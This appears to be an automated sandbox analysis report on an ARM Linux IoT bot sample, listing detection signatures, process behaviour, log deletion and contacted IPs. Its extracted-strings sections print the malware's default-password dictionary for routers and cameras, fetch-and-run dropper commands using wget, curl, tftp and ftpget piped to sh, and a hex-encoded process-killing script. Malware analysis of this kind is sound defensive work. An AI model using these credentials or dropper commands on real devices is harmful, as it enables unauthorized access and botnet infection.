Linux Analysis Report
la.bot.arm.elf

Overview

General Information

Sample name: la.bot.arm.elf
Analysis ID: 1543569
MD5: c39bfb49356a594f9801ecbc040c492e
SHA1: a9c6a24a4a2876284378329b849805e165e25971
SHA256: de67cf465867754a8153ea75a79afcb805f73c151d1f6a6b57628d29618cd473
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.arm.elf ReversingLabs: Detection: 31%
Source: la.bot.arm.elf Virustotal: Detection: 34% Perma Link
Found strings indicative of a multi-platform dropper
Source: la.bot.arm.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//fd/mountinfo/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/telnetd|upnpc-static|udhcpc|/usr/bin/inetd|ntpclient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhttpd|uchttpd|pppd|dhclient/dev/watchdog/dev/misc/watchdogM
Source: la.bot.arm.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:52848 -> 156.244.19.135:7193
Sample listens on a socket
Source: /tmp/la.bot.arm.elf (PID: 5457) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 158.172.252.62
Source: unknown TCP traffic detected without corresponding DNS query: 158.172.252.62
Source: unknown TCP traffic detected without corresponding DNS query: 201.205.204.53
Source: unknown TCP traffic detected without corresponding DNS query: 58.97.244.153
Source: unknown TCP traffic detected without corresponding DNS query: 201.205.204.53
Source: unknown TCP traffic detected without corresponding DNS query: 58.97.244.153
Source: unknown TCP traffic detected without corresponding DNS query: 167.105.53.7
Source: unknown TCP traffic detected without corresponding DNS query: 72.67.23.34
Source: unknown TCP traffic detected without corresponding DNS query: 167.105.53.7
Source: unknown TCP traffic detected without corresponding DNS query: 198.51.219.240
Source: unknown TCP traffic detected without corresponding DNS query: 72.67.23.34
Source: unknown TCP traffic detected without corresponding DNS query: 37.104.94.99
Source: unknown TCP traffic detected without corresponding DNS query: 198.51.219.240
Source: unknown TCP traffic detected without corresponding DNS query: 8.125.140.0
Source: unknown TCP traffic detected without corresponding DNS query: 37.104.94.99
Source: unknown TCP traffic detected without corresponding DNS query: 8.125.140.0
Source: unknown TCP traffic detected without corresponding DNS query: 21.177.154.106
Source: unknown TCP traffic detected without corresponding DNS query: 21.177.154.106
Source: unknown TCP traffic detected without corresponding DNS query: 180.31.190.12
Source: unknown TCP traffic detected without corresponding DNS query: 123.20.231.220
Source: unknown TCP traffic detected without corresponding DNS query: 180.31.190.12
Source: unknown TCP traffic detected without corresponding DNS query: 121.50.233.65
Source: unknown TCP traffic detected without corresponding DNS query: 123.20.231.220
Source: unknown TCP traffic detected without corresponding DNS query: 175.251.95.81
Source: unknown TCP traffic detected without corresponding DNS query: 121.50.233.65
Source: unknown TCP traffic detected without corresponding DNS query: 57.235.179.30
Source: unknown TCP traffic detected without corresponding DNS query: 175.251.95.81
Source: unknown TCP traffic detected without corresponding DNS query: 156.155.230.177
Source: unknown TCP traffic detected without corresponding DNS query: 57.235.179.30
Source: unknown TCP traffic detected without corresponding DNS query: 199.193.139.235
Source: unknown TCP traffic detected without corresponding DNS query: 156.155.230.177
Source: unknown TCP traffic detected without corresponding DNS query: 121.212.5.164
Source: unknown TCP traffic detected without corresponding DNS query: 199.193.139.235
Source: unknown TCP traffic detected without corresponding DNS query: 95.97.174.246
Source: unknown TCP traffic detected without corresponding DNS query: 121.212.5.164
Source: unknown TCP traffic detected without corresponding DNS query: 170.35.49.92
Source: unknown TCP traffic detected without corresponding DNS query: 95.97.174.246
Source: unknown TCP traffic detected without corresponding DNS query: 203.147.88.177
Source: unknown TCP traffic detected without corresponding DNS query: 170.35.49.92
Source: unknown TCP traffic detected without corresponding DNS query: 118.91.28.254
Source: unknown TCP traffic detected without corresponding DNS query: 203.147.88.177
Source: unknown TCP traffic detected without corresponding DNS query: 95.152.129.236
Source: unknown TCP traffic detected without corresponding DNS query: 118.91.28.254
Source: unknown TCP traffic detected without corresponding DNS query: 91.14.12.76
Source: unknown TCP traffic detected without corresponding DNS query: 95.152.129.236
Source: unknown TCP traffic detected without corresponding DNS query: 89.196.154.69
Source: unknown TCP traffic detected without corresponding DNS query: 91.14.12.76
Source: unknown TCP traffic detected without corresponding DNS query: 197.72.107.185
Source: unknown TCP traffic detected without corresponding DNS query: 89.196.154.69
Source: unknown TCP traffic detected without corresponding DNS query: 52.113.233.221
Source: global traffic DNS traffic detected: DNS query: 21savage.dyn
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.arm.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.arm.elf (PID: 5459) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal56.evad.linELF@0/0@3/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.arm.elf (PID: 5460) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.arm.elf (PID: 5460) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5460) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5460) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5460) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5460) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5460) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5460) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5460) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5460) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5460) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/238/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/239/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/914/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/19/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/240/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/241/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/242/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/244/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/245/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/246/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/5/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/247/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/7/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/129/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/8/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/802/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/371/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/131/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/134/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/378/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/816/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/142/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/145/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5459) File opened: /proc/267/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.arm.elf (PID: 5460) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.arm.elf (PID: 5457) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm.elf, 5457.1.00007ffe9366c000.00007ffe9368d000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm.elf
Source: la.bot.arm.elf, 5457.1.000056302a94c000.000056302aa9a000.rw-.sdmp Binary or memory string: *0V!/etc/qemu-binfmt/arm
Source: la.bot.arm.elf, 5457.1.000056302a94c000.000056302aa9a000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm.elf, 5457.1.00007ffe9366c000.00007ffe9368d000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
151.27.27.223
 unknown Italy
1267 ASN-WINDTREIUNETEU false
65.165.112.100
 unknown United States
1239 SPRINTLINKUS false
212.98.75.187
 unknown Denmark
42525 GLOBALCONNECT-NETWORKDK false
85.161.199.107
 unknown Czech Republic
5610 O2-CZECH-REPUBLICCZ false
179.152.213.245
 unknown Brazil
28573 CLAROSABR false
92.251.210.21
 unknown Ireland
13280 H3GIE false
30.25.216.112
 unknown United States
7922 COMCAST-7922US false
92.172.52.223
 unknown France
3215 FranceTelecom-OrangeFR false
11.55.204.93
 unknown United States
3356 LEVEL3US false
128.17.147.121
 unknown United States
14340 SALESFORCEUS false
16.223.50.102
 unknown United States
unknown unknown false
98.39.160.14
 unknown United States
7922 COMCAST-7922US false
14.59.208.100
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
151.13.32.71
 unknown Italy
1267 ASN-WINDTREIUNETEU false
125.212.80.255
 unknown Philippines
6648 BAYAN-TELECOMMUNICATIONSBayanTelecommunicationsIncPH false
115.61.248.212
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
91.119.47.179
 unknown Austria
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
151.121.177.211
 unknown United States
4152 USDA-1US false
205.45.34.43
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
179.104.239.254
 unknown Brazil
53006 ALGARTELECOMSABR false
65.138.99.115
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
14.128.230.25
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
88.221.133.88
 unknown European Union
20940 AKAMAI-ASN1EU false
147.176.169.71
 unknown Japan 12087 SALSGIVERUS false
154.145.208.66
 unknown Morocco
6713 IAM-ASMA false
51.227.225.224
 unknown United States
2686 ATGS-MMD-ASUS false
110.143.4.247
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
89.62.235.220
 unknown Germany
5430 FREENETDEfreenetDatenkommunikationsGmbHDE false
107.64.185.199
 unknown United States
7018 ATT-INTERNET4US false
39.75.66.98
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
133.128.234.234
 unknown Japan 385 AFCONC-BLOCK1-ASUS false
215.38.114.109
 unknown United States
721 DNIC-ASBLK-00721-00726US false
7.23.97.154
 unknown United States
3356 LEVEL3US false
192.83.100.75
 unknown Finland
1759 TSF-IP-CORETeliaFinlandOyjEU false
186.81.199.163
 unknown Colombia
14080 TelmexColombiaSACO false
64.81.79.143
 unknown United States
17184 ATL-CBEYONDUS false
72.168.175.113
 unknown United States
6621 HNS-DIRECPCUS false
145.7.200.35
 unknown Netherlands
1136 KPNKPNNationalEU false
26.107.186.131
 unknown United States
7922 COMCAST-7922US false
27.111.138.92
 unknown Japan 24092 MOORECOLLEGE-AS-APMooreTheologicalCollegeAU false
55.35.52.213
 unknown United States
322 DNIC-ASBLK-00306-00371US false
6.24.212.91
 unknown United States
3356 LEVEL3US false
112.15.164.38
 unknown China
56041 CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC false
99.147.110.46
 unknown United States
7018 ATT-INTERNET4US false
206.192.134.58
 unknown United States
40586 UNM-HEALTH-SCIENCESUS false
158.80.255.49
 unknown United States
20379 NET-BAKERUS false
197.99.91.165
 unknown South Africa
3741 ISZA false
46.109.174.167
 unknown Latvia
12578 APOLLO-ASLatviaLV false
177.205.175.200
 unknown Brazil
18881 TELEFONICABRASILSABR false
39.3.71.191
 unknown Japan 4725 ODNSoftBankMobileCorpJP false
168.186.143.71
 unknown Australia
136604 RACV-AS-APRoyalAutomobileClubofVictoriaLtdAU false
181.232.227.221
 unknown Costa Rica
30361 SWIFTWILL2US false
207.134.255.28
 unknown Canada
852 ASN852CA false
139.214.120.31
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
16.201.158.113
 unknown United States
unknown unknown false
2.223.201.56
 unknown United Kingdom
5607 BSKYB-BROADBAND-ASGB false
167.120.216.192
 unknown United States
2055 LSU-1US false
189.204.243.34
 unknown Mexico
18734 OperbesSAdeCVMX false
116.133.108.181
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
35.111.218.106
 unknown United States
237 MERIT-AS-14US false
80.44.24.157
 unknown United Kingdom
9105 TISCALI-UKTalkTalkCommunicationsLimitedGB false
176.87.144.47
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
184.14.224.58
 unknown United States
7011 FRONTIER-AND-CITIZENSUS false
198.210.223.197
 unknown United States
54836 TRIN-ASUS false
101.74.240.147
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
148.210.191.48
 unknown Mexico
2904 UniversidadAutonomaDeCiudadJuarezMX false
18.197.18.89
 unknown United States
16509 AMAZON-02US false
161.42.214.249
 unknown Germany
553 BELWUEBelWue-KoordinationEU false
166.142.206.146
 unknown United States
22394 CELLCOUS false
51.118.91.141
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
169.23.228.159
 unknown United States
37611 AfrihostZA false
117.13.86.253
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
1.60.182.143
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
87.188.180.45
 unknown Germany
